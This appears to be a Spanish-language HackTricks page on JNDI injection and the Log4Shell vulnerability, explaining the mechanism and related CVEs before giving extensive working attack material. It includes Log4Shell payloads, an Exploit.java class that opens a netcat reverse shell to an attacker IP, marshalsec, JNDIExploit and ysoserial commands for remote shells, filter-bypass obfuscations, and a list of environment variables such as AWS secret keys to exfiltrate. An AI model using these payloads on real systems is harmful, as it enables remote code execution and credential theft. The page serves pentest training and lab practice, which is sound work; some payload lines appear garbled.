34 KiB
JNDI - Java Naming and Directory Interface & Log4Shell
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Try Hard Security Group
{% embed url="https://discord.gg/tryhardsecurity" %}
Información Básica
JNDI, integrado en Java desde finales de la década de 1990, sirve como un servicio de directorio, permitiendo a los programas Java localizar datos u objetos a través de un sistema de nombres. Soporta varios servicios de directorio a través de interfaces de proveedor de servicios (SPIs), permitiendo la recuperación de datos de diferentes sistemas, incluidos objetos Java remotos. Los SPIs comunes incluyen CORBA COS, Java RMI Registry y LDAP.
Referencia de Nombres JNDI
Los objetos Java pueden ser almacenados y recuperados utilizando Referencias de Nombres JNDI, que vienen en dos formas:
- Direcciones de Referencia: Especifica la ubicación de un objeto (por ejemplo, rmi://server/ref), permitiendo la recuperación directa desde la dirección especificada.
- Fábrica Remota: Hace referencia a una clase de fábrica remota. Cuando se accede, la clase se descarga e instancia desde la ubicación remota.
Sin embargo, este mecanismo puede ser explotado, lo que puede llevar a la carga y ejecución de código arbitrario. Como contramedida:
- RMI:
java.rmi.server.useCodeabseOnly = true
por defecto desde JDK 7u21, restringiendo la carga de objetos remotos. Un Administrador de Seguridad limita aún más lo que se puede cargar. - LDAP:
com.sun.jndi.ldap.object.trustURLCodebase = false
por defecto desde JDK 6u141, 7u131, 8u121, bloqueando la ejecución de objetos Java cargados remotamente. Si se establece entrue
, la ejecución de código remoto es posible sin la supervisión de un Administrador de Seguridad. - CORBA: No tiene una propiedad específica, pero el Administrador de Seguridad siempre está activo.
Sin embargo, el Administrador de Nombres, responsable de resolver enlaces JNDI, carece de mecanismos de seguridad integrados, lo que puede permitir la recuperación de objetos de cualquier fuente. Esto representa un riesgo, ya que las protecciones de RMI, LDAP y CORBA pueden ser eludidas, lo que lleva a la carga de objetos Java arbitrarios o a la explotación de componentes de aplicación existentes (gadgets) para ejecutar código malicioso.
Ejemplos de URLs explotables incluyen:
- rmi://attacker-server/bar
- ldap://attacker-server/bar
- iiop://attacker-server/bar
A pesar de las protecciones, las vulnerabilidades persisten, principalmente debido a la falta de salvaguardias contra la carga de JNDI desde fuentes no confiables y la posibilidad de eludir las protecciones existentes.
Ejemplo de JNDI
Incluso si has establecido un PROVIDER_URL
, puedes indicar uno diferente en una búsqueda y se accederá: ctx.lookup("<attacker-controlled-url>")
y eso es lo que un atacante abusará para cargar objetos arbitrarios desde un sistema controlado por él.
Visión General de CORBA
CORBA (Common Object Request Broker Architecture) emplea una Referencia de Objeto Interoperable (IOR) para identificar de manera única objetos remotos. Esta referencia incluye información esencial como:
- ID de Tipo: Identificador único para una interfaz.
- Codebase: URL para obtener la clase stub.
Notablemente, CORBA no es inherentemente vulnerable. Asegurar la seguridad típicamente implica:
- Instalación de un Administrador de Seguridad.
- Configurar el Administrador de Seguridad para permitir conexiones a codebases potencialmente maliciosas. Esto se puede lograr a través de:
- Permiso de socket, por ejemplo,
permissions java.net.SocketPermission "*:1098-1099", "connect";
. - Permisos de lectura de archivos, ya sea de manera universal (
permission java.io.FilePermission "<<ALL FILES>>", "read";
) o para directorios específicos donde podrían colocarse archivos maliciosos.
Sin embargo, algunas políticas de proveedores pueden ser indulgentes y permitir estas conexiones por defecto.
Contexto RMI
Para RMI (Remote Method Invocation), la situación es algo diferente. Al igual que con CORBA, la descarga de clases arbitrarias está restringida por defecto. Para explotar RMI, uno típicamente necesitaría eludir el Administrador de Seguridad, un logro que también es relevante en CORBA.
LDAP
Primero que nada, necesitamos distinguir entre una Búsqueda y una Consulta.
Una búsqueda utilizará una URL como ldap://localhost:389/o=JNDITutorial
para encontrar el objeto JNDITutorial de un servidor LDAP y recuperar sus atributos.
Una consulta está destinada a servicios de nombres ya que queremos obtener cualquier cosa que esté vinculada a un nombre.
Si la búsqueda LDAP fue invocada con SearchControls.setReturningObjFlag() con true
, entonces el objeto devuelto será reconstruido.
Por lo tanto, hay varias formas de atacar estas opciones.
Un atacante puede envenenar registros LDAP introduciendo cargas útiles en ellos que serán ejecutadas en los sistemas que las recojan (muy útil para comprometer decenas de máquinas si tienes acceso al servidor LDAP). Otra forma de explotar esto sería realizar un ataque MitM en una búsqueda LDAP, por ejemplo.
En caso de que puedas hacer que una aplicación resuelva una URL JNDI LDAP, puedes controlar el LDAP que será buscado, y podrías devolver la explotación (log4shell).
Explotación de deserialización
La explotación está serializada y será deserializada.
En caso de que trustURLCodebase
sea true
, un atacante puede proporcionar sus propias clases en el codebase, si no, necesitará abusar de gadgets en el classpath.
Explotación de referencia JNDI
Es más fácil atacar este LDAP usando referencias JavaFactory:
Vulnerabilidad Log4Shell
La vulnerabilidad se introduce en Log4j porque soporta una sintaxis especial en la forma ${prefix:name}
donde prefix
es uno de varios Lookups donde name
debe ser evaluado. Por ejemplo, ${java:version}
es la versión actual de Java en ejecución.
LOG4J2-313 introdujo una función de búsqueda jndi
. Esta función permite la recuperación de variables a través de JNDI. Típicamente, la clave se antepone automáticamente con java:comp/env/
. Sin embargo, si la clave en sí incluye un ":", este prefijo predeterminado no se aplica.
Con un : presente en la clave, como en ${jndi:ldap://example.com/a}
no hay prefijo y se consulta al servidor LDAP por el objeto. Y estas búsquedas pueden ser utilizadas tanto en la configuración de Log4j como cuando se registran líneas.
Por lo tanto, lo único que se necesita para obtener RCE es una versión vulnerable de Log4j procesando información controlada por el usuario. Y debido a que esta es una biblioteca ampliamente utilizada por aplicaciones Java para registrar información (incluidas aplicaciones expuestas a Internet), era muy común tener log4j registrando, por ejemplo, encabezados HTTP recibidos como el User-Agent. Sin embargo, log4j no se utiliza solo para registrar información HTTP, sino cualquier entrada y datos que el desarrollador indicó.
Visión General de CVEs Relacionados con Log4Shell
CVE-2021-44228 [Crítico]
Esta vulnerabilidad es un fallo de deserialización no confiable crítico en el componente log4j-core
, que afecta versiones desde 2.0-beta9 hasta 2.14.1. Permite ejecución remota de código (RCE), permitiendo a los atacantes tomar el control de los sistemas. El problema fue reportado por Chen Zhaojun del equipo de seguridad de Alibaba Cloud y afecta a varios frameworks de Apache. La solución inicial en la versión 2.15.0 fue incompleta. Las reglas Sigma para defensa están disponibles (Regla 1, Regla 2).
CVE-2021-45046 [Crítico]
Inicialmente calificado como bajo pero luego elevado a crítico, este CVE es un fallo de Denegación de Servicio (DoS) resultante de una solución incompleta en 2.15.0 para CVE-2021-44228. Afecta configuraciones no predeterminadas, permitiendo a los atacantes causar ataques DoS a través de cargas útiles elaboradas. Un tweet muestra un método de elusión. El problema se resuelve en las versiones 2.16.0 y 2.12.2 al eliminar patrones de búsqueda de mensajes y deshabilitar JNDI por defecto.
CVE-2021-4104 [Alto]
Afectando a versiones Log4j 1.x en configuraciones no predeterminadas que utilizan JMSAppender
, este CVE es un fallo de deserialización no confiable. No hay solución disponible para la rama 1.x, que está al final de su vida útil, y se recomienda actualizar a log4j-core 2.17.0
.
CVE-2021-42550 [Moderado]
Esta vulnerabilidad afecta al framework de registro Logback, un sucesor de Log4j 1.x. Anteriormente se pensaba que era seguro, pero se encontró que el framework era vulnerable, y se han lanzado versiones más nuevas (1.3.0-alpha11 y 1.2.9) para abordar el problema.
CVE-2021-45105 [Alto]
Log4j 2.16.0 contiene un fallo de DoS, lo que llevó al lanzamiento de log4j 2.17.0
para solucionar el CVE. Más detalles están en el informe de BleepingComputer.
CVE-2021-44832
Afectando a la versión log4j 2.17, este CVE requiere que el atacante controle el archivo de configuración de log4j. Involucra la posible ejecución de código arbitrario a través de un JDBCAppender configurado. Más detalles están disponibles en el blog de Checkmarx.
Explotación de Log4Shell
Descubrimiento
Esta vulnerabilidad es muy fácil de descubrir si no está protegida porque enviará al menos una solicitud DNS a la dirección que indiques en tu carga útil. Por lo tanto, cargas útiles como:
${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}
(usando canarytokens.com)${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}
(usando interactsh)${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net}
(usando Burp Suite)${jndi:ldap://2j4ayo.dnslog.cn}
(usando dnslog)${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}
(usando huntress)
Ten en cuenta que incluso si se recibe una solicitud DNS, eso no significa que la aplicación sea explotable (o incluso vulnerable), necesitarás intentar explotarla.
{% hint style="info" %} Recuerda que para explotar la versión 2.15 necesitas agregar el bypass de verificación de localhost: ${jndi:ldap://127.0.0.1#...} {% endhint %}
Descubrimiento Local
Busca versiones vulnerables locales de la biblioteca con:
find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])"
Verificación
Algunas de las plataformas mencionadas anteriormente te permitirán insertar algunos datos variables que se registrarán cuando se soliciten.
Esto puede ser muy útil para 2 cosas:
- Para verificar la vulnerabilidad
- Para exfiltrar información abusando de la vulnerabilidad
Por ejemplo, podrías solicitar algo como:
o como ${
jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}
y si se recibe una solicitud DNS con el valor de la variable de entorno, sabes que la aplicación es vulnerable.
Otra información que podrías intentar filtrar:
${env:AWS_ACCESS_KEY_ID}
${env:AWS_CONFIG_FILE}
${env:AWS_PROFILE}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:HOSTNAME}
${env:JAVA_VERSION}
${env:PATH}
${env:USER}
${hostName}
${java.vendor}
${java:os}
${java:version}
${log4j:configParentLocation}
${sys:PROJECT_HOME}
${sys:file.separator}
${sys:java.class.path}
${sys:java.class.path}
${sys:java.class.version}
${sys:java.compiler}
${sys:java.ext.dirs}
${sys:java.home}
${sys:java.io.tmpdir}
${sys:java.library.path}
${sys:java.specification.name}
${sys:java.specification.vendor}
${sys:java.specification.version}
${sys:java.vendor.url}
${sys:java.vendor}
${sys:java.version}
${sys:java.vm.name}
${sys:java.vm.specification.name}
${sys:java.vm.specification.vendor}
${sys:java.vm.specification.version}
${sys:java.vm.vendor}
${sys:java.vm.version}
${sys:line.separator}
${sys:os.arch}
${sys:os.name}
${sys:os.version}
${sys:path.separator}
${sys:user.dir}
${sys:user.home}
${sys:user.name}
Any other env variable name that could store sensitive information
Información de RCE
{% hint style="info" %}
Los hosts que ejecutan versiones de JDK superiores a 6u141, 7u131 o 8u121 están protegidos contra el vector de ataque de carga de clases LDAP. Esto se debe a la desactivación predeterminada de com.sun.jndi.ldap.object.trustURLCodebase
, que impide que JNDI cargue una base de código remota a través de LDAP. Sin embargo, es crucial notar que estas versiones no están protegidas contra el vector de ataque de deserialización.
Para los atacantes que buscan explotar estas versiones más altas de JDK, es necesario aprovechar un gadget de confianza dentro de la aplicación Java. Herramientas como ysoserial o JNDIExploit se utilizan a menudo para este propósito. Por el contrario, explotar versiones más bajas de JDK es relativamente más fácil, ya que estas versiones pueden ser manipuladas para cargar y ejecutar clases arbitrarias.
Para más información (como limitaciones en los vectores RMI y CORBA) consulta la sección anterior de Referencia de Nombres JNDI o https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/ {% endhint %}
RCE - Marshalsec con carga útil personalizada
Puedes probar esto en la caja de THM: https://tryhackme.com/room/solar
Usa la herramienta marshalsec (versión jar disponible aquí). Este enfoque establece un servidor de referencia LDAP para redirigir conexiones a un servidor HTTP secundario donde se alojará el exploit:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"
Para incitar al objetivo a cargar un código de shell inverso, crea un archivo Java llamado Exploit.java
con el siguiente contenido:
public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999");
} catch (Exception e) {
e.printStackTrace();
}
}
}
Compila el archivo Java en un archivo de clase usando: javac Exploit.java -source 8 -target 8
. A continuación, inicia un servidor HTTP en el directorio que contiene el archivo de clase con: python3 -m http.server
. Asegúrate de que el servidor LDAP marshalsec haga referencia a este servidor HTTP.
Desencadena la ejecución de la clase de explotación en el servidor web susceptible enviando una carga útil que se asemeje a:
${jndi:ldap://<LDAP_IP>:1389/Exploit}
Nota: Este exploit depende de la configuración de Java para permitir la carga de código base remoto a través de LDAP. Si esto no es permisible, considera explotar una clase de confianza para la ejecución de código arbitrario.
RCE - JNDIExploit
{% hint style="info" %} Ten en cuenta que por alguna razón el autor eliminó este proyecto de github después del descubrimiento de log4shell. Puedes encontrar una versión en caché en https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2 pero si deseas respetar la decisión del autor, utiliza un método diferente para explotar esta vulnerabilidad.
Además, no puedes encontrar el código fuente en wayback machine, así que analiza el código fuente o ejecuta el jar sabiendo que no sabes lo que estás ejecutando. {% endhint %}
Para este ejemplo, puedes simplemente ejecutar este servidor web vulnerable a log4shell en el puerto 8080: https://github.com/christophetd/log4shell-vulnerable-app (en el README encontrarás cómo ejecutarlo). Esta aplicación vulnerable está registrando con una versión vulnerable de log4shell el contenido del encabezado de la solicitud HTTP X-Api-Version.
Luego, puedes descargar el archivo jar de JNDIExploit y ejecutarlo con:
wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access
Después de leer el código solo un par de minutos, en com.feihong.ldap.LdapServer y com.feihong.ldap.HTTPServer puedes ver cómo se crean los servidores LDAP y HTTP. El servidor LDAP entenderá qué carga útil necesita ser servida y redirigirá a la víctima al servidor HTTP, que servirá el exploit.
En com.feihong.ldap.gadgets puedes encontrar algunos gadgets específicos que se pueden usar para ejecutar la acción deseada (potencialmente ejecutar código arbitrario). Y en com.feihong.ldap.template puedes ver las diferentes clases de plantilla que generarán los exploits.
Puedes ver todos los exploits disponibles con java -jar JNDIExploit-1.2-SNAPSHOT.jar -u
. Algunos útiles son:
ldap://null:1389/Basic/Dnslog/[domain]
ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
ldap://null:1389/Basic/ReverseShell/[ip]/[port]
# But there are a lot more
Así que, en nuestro ejemplo, ya tenemos esa aplicación vulnerable de docker en funcionamiento. Para atacarla:
# Create a file inside of th vulnerable host:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
# Get a reverse shell (only unix)
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'
Cuando envíes los ataques, verás alguna salida en la terminal donde ejecutaste JNDIExploit-1.2-SNAPSHOT.jar.
Recuerda verificar java -jar JNDIExploit-1.2-SNAPSHOT.jar -u
para otras opciones de explotación. Además, en caso de que lo necesites, puedes cambiar el puerto de los servidores LDAP y HTTP.
RCE - JNDI-Exploit-Kit
De manera similar al exploit anterior, puedes intentar usar JNDI-Exploit-Kit para explotar esta vulnerabilidad.
Puedes generar las URL para enviar a la víctima ejecutando:
# Get reverse shell in port 4444 (only unix)
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444
# Execute command
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"
Este ataque utilizando un objeto java generado de forma personalizada funcionará en laboratorios como la THM solar room. Sin embargo, esto generalmente no funcionará (ya que por defecto Java no está configurado para cargar una base de código remota usando LDAP) creo que porque no está abusando de una clase de confianza para ejecutar código arbitrario.
RCE - JNDI-Injection-Exploit-Plus
https://github.com/cckuailong/JNDI-Injection-Exploit-Plus es otra herramienta para generar enlaces JNDI funcionales y proporcionar servicios de fondo iniciando un servidor RMI, un servidor LDAP y un servidor HTTP.\
RCE - ysoserial & JNDI-Exploit-Kit
Esta opción es realmente útil para atacar versiones de Java configuradas para confiar solo en clases específicas y no en todas. Por lo tanto, ysoserial se utilizará para generar serializaciones de clases de confianza que pueden ser utilizadas como gadgets para ejecutar código arbitrario (la clase de confianza abusada por ysoserial debe ser utilizada por el programa java de la víctima para que el exploit funcione).
Usando ysoserial o ysoserial-modified puedes crear el exploit de deserialización que será descargado por JNDI:
# Rev shell via CommonsCollections5
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser
Usa JNDI-Exploit-Kit para generar enlaces JNDI donde el exploit estará esperando conexiones de las máquinas vulnerables. Puedes servir diferentes exploits que pueden ser generados automáticamente por el JNDI-Exploit-Kit o incluso tus propios payloads de deserialización (generados por ti o ysoserial).
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser
Ahora puedes usar fácilmente un enlace JNDI generado para explotar la vulnerabilidad y obtener un reverse shell simplemente enviándolo a una versión vulnerable de log4j: ${ldap://10.10.14.10:1389/generated}
Bypasses
${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}
${${::-j}ndi:rmi://attackerendpoint.com/} //Notice the use of rmi
${${::-j}ndi:dns://attackerendpoint.com/} //Notice the use of dns
${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
Escáneres Automáticos
- https://github.com/fullhunt/log4j-scan
- https://github.com/adilsoybali/Log4j-RCE-Scanner
- https://github.com/silentsignal/burp-log4shell
- https://github.com/cisagov/log4j-scanner
- https://github.com/Qualys/log4jscanwin
- https://github.com/hillu/local-log4j-vuln-scanner
- https://github.com/logpresso/CVE-2021-44228-Scanner
- https://github.com/palantir/log4j-sniffer - Encontrar bibliotecas vulnerables locales
Laboratorios para probar
- LogForge HTB machine
- Try Hack Me Solar room
- https://github.com/leonjza/log4jpwn
- https://github.com/christophetd/log4shell-vulnerable-app
Explotación Post-Log4Shell
En este CTF writeup se explica bien cómo es potencialmente posible abusar de algunas características de Log4J.
La página de seguridad de Log4j tiene algunas frases interesantes:
A partir de la versión 2.16.0 (para Java 8), la función de búsqueda de mensajes ha sido completamente eliminada. Las búsquedas en la configuración aún funcionan. Además, Log4j ahora desactiva el acceso a JNDI por defecto. Las búsquedas JNDI en la configuración ahora deben habilitarse explícitamente.
A partir de la versión 2.17.0 (y 2.12.3 y 2.3.1 para Java 7 y Java 6), solo las cadenas de búsqueda en la configuración se expanden recursivamente; en cualquier otro uso, solo se resuelve la búsqueda de nivel superior, y las búsquedas anidadas no se resuelven.
Esto significa que por defecto puedes olvidarte de usar cualquier exploit jndi
. Además, para realizar búsquedas recursivas necesitas tenerlas configuradas.
Por ejemplo, en ese CTF esto se configuró en el archivo log4j2.xml:
<Console name="Console" target="SYSTEM_ERR">
<PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
</PatternLayout>
</Console>
Búsquedas de Entorno
En este CTF el atacante controlaba el valor de ${sys:cmd}
y necesitaba exfiltrar la bandera de una variable de entorno.
Como se vio en esta página en cargas útiles anteriores, hay diferentes formas de acceder a las variables de entorno, como: ${env:FLAG}
. En este CTF esto fue inútil, pero podría no serlo en otros escenarios de la vida real.
Exfiltración en Excepciones
En el CTF, no podías acceder al stderr de la aplicación java usando log4J, pero las excepciones de Log4J se envían a stdout, que se imprimió en la aplicación de python. Esto significaba que al provocar una excepción podíamos acceder al contenido. Una excepción para exfiltrar la bandera fue: ${java:${env:FLAG}}
. Esto funciona porque ${java:CTF{blahblah}}
no existe y se mostrará una excepción con el valor de la bandera:
Excepciones de Patrones de Conversión
Solo para mencionarlo, también podrías inyectar nuevos patrones de conversión y provocar excepciones que se registrarán en stdout
. Por ejemplo:
Esto no se encontró útil para exfiltrar datos dentro del mensaje de error, porque la búsqueda no se resolvió antes del patrón de conversión, pero podría ser útil para otras cosas como la detección.
Expresiones Regulares de Patrones de Conversión
Sin embargo, es posible usar algunos patrones de conversión que soportan expresiones regulares para exfiltrar información de una búsqueda utilizando expresiones regulares y abusando de búsqueda binaria o comportamientos basados en tiempo.
- Búsqueda binaria a través de mensajes de excepción
El patrón de conversión %replace
se puede usar para reemplazar contenido de una cadena incluso usando expresiones regulares. Funciona así: replace{pattern}{regex}{substitution}
Abusando de este comportamiento podrías hacer que reemplazar provocara una excepción si la expresión regular coincidía con algo dentro de la cadena (y ninguna excepción si no se encontraba) así:
%replace{${env:FLAG}}{^CTF.*}{${error}}
# The string searched is the env FLAG, the regex searched is ^CTF.*
## and ONLY if it's found ${error} will be resolved with will trigger an exception
- Basado en tiempo
Como se mencionó en la sección anterior, %replace
soporta regexes. Así que es posible usar un payload de la página de ReDoS para causar un timeout en caso de que se encuentre la bandera.
Por ejemplo, un payload como %replace{${env:FLAG}}{^(?=CTF)((.
)
)*salt$}{asd}
provocaría un timeout en ese CTF.
En este informe, en lugar de usar un ataque ReDoS, se utilizó un ataque de amplificación para causar una diferencia de tiempo en la respuesta:
/%replace{ %replace{ %replace{ %replace{ %replace{ %replace{ %replace{${ENV:FLAG}}{CTF\{" + flagGuess + ".*\}}{#############################} }{#}{######################################################} }{#}{######################################################} }{#}{######################################################} }{#}{######################################################} }{#}{######################################################} }{#}{######################################################} }{#}{######################################################} }{#}{######################################################}
Si la bandera comienza con
flagGuess
, toda la bandera es reemplazada por 29#
-s (utilicé este carácter porque probablemente no formaría parte de la bandera). Cada uno de los 29#
-s resultantes es luego reemplazado por 54#
-s. Este proceso se repite 6 veces, llevando a un total de29*54*54^6* =`` ``
96816014208
#
-s!Reemplazar tantos
#
-s provocará el timeout de 10 segundos de la aplicación Flask, lo que a su vez resultará en que se envíe el código de estado HTTP 500 al usuario. (Si la bandera no comienza conflagGuess
, recibiremos un código de estado que no es 500)
Referencias
- https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/
- https://www.bleepingcomputer.com/news/security/all-log4j-logback-bugs-we-know-so-far-and-why-you-must-ditch-215/
- https://www.youtube.com/watch?v=XG14EstTgQ4
- https://tryhackme.com/room/solar
- https://www.youtube.com/watch?v=Y8a5nB-vy78
- https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf
- https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/
- https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/
Grupo de Seguridad Try Hard
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.